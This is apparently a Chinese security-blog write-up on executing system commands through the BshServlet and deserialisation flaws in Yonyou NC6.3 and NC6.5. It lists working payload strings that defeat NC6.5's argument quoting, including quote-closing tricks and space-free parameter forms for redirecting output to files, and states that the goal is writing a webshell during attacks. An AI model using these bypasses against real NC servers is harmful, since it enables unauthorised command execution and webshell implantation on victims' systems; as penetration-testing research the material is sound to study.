雷石安全实验室
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
前言
在渗透和攻防中,多次遇到用友NC系统,一直以来都是用别人的工具,自己从来没分析研究过用友的源码和利用。遇到一些场景或需要利用漏洞执行命令时踩了很多坑。便通过灰盒测试简单分析了下NC6的命令执行,并尝试bypass。
测试
**测试环境:**win server+NC6.3,win server+NC6.5
NC6.3
首先是用友NC6.3 ,无论是bsh.servlet.BshServlet命令执行还是反序列化执行系统命令,都会遇到dir、echo命令会执行失败,通过监控进程,发现未调用cmd,猜测是被过滤
当命令执行成功时,会调用系统cmd执行
通过测试,发现加上cmd /c 能够成功调用cmd并执行
通过尝试echo命令写入文件,也没有问题,完全正常写入
exec("cmd /c echo ccc > nc63.txt");
NC6.5
在nc6.5中,发现6.3的方法就不适用了。增加了转义,特殊符号全部失效了,像是通过echo写入需要用到的“>” 就会被双引号转义成字符串而非命令。
被转义:可以看到 cmd和特殊字符 都被添加了双引号包裹
失败尝试:
cmd /c whoami > 1.txt 转义 "cmd" /c whoami ">" 1.txt
cmd /c whoami> 1.txt 转义 "cmd" /c whoami ">1.txt"
尝试Bypass:
首先是执行无参数的命令,观察发现上边使用cmd /c 时,cmd被加了双引号,但还是成功调用了cmd命令。
1.经过在cmd下测试 命令加上双引号还是会正常执行。
2.nc6.5中 会以空格分界,对含有特殊字符的字符串添加引号
通过发现的这两个特写,用如下方式,将执行结果通过尖括号输出到文本
成功执行方式:
cmd /c whoami> 1.txt 转义 "cmd" /c "whoami>1.txt"
cmd /c whoami> 1.txt 转义 "cmd" /c "whoami>" 1.txt
命令执行带参数:
如果是命令需要有参数怎么办?
win中的系统命令大多都是用斜线“/” 来声明参数名,经过尝试发现可以直接省去空格连写:
cmd /c netstat/ant>1.txt 转义 "cmd" /c "netstat/ant>1.txt"
cmd /c dir/b "C:\>1.txt" 转 "CmD" /c dir/b ""C:\>1.txt""
写文件:
但在实战中还是要写入webshell的,就要用到echo 和">"符号。
这一步却是让我折腾了一番,想到用闭合双引号方式来干扰转义。
经过测试,用如下方式写入:缺点是会多出引号和空格
cmd /c echo 11" >1.txt" 转为 "cmd" /c echo 11" ">1.txt""
总结
会用利用脚本是一回事,复现了漏洞是一回事,能否在攻防中利用漏洞并拿到权限又是另一回事。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)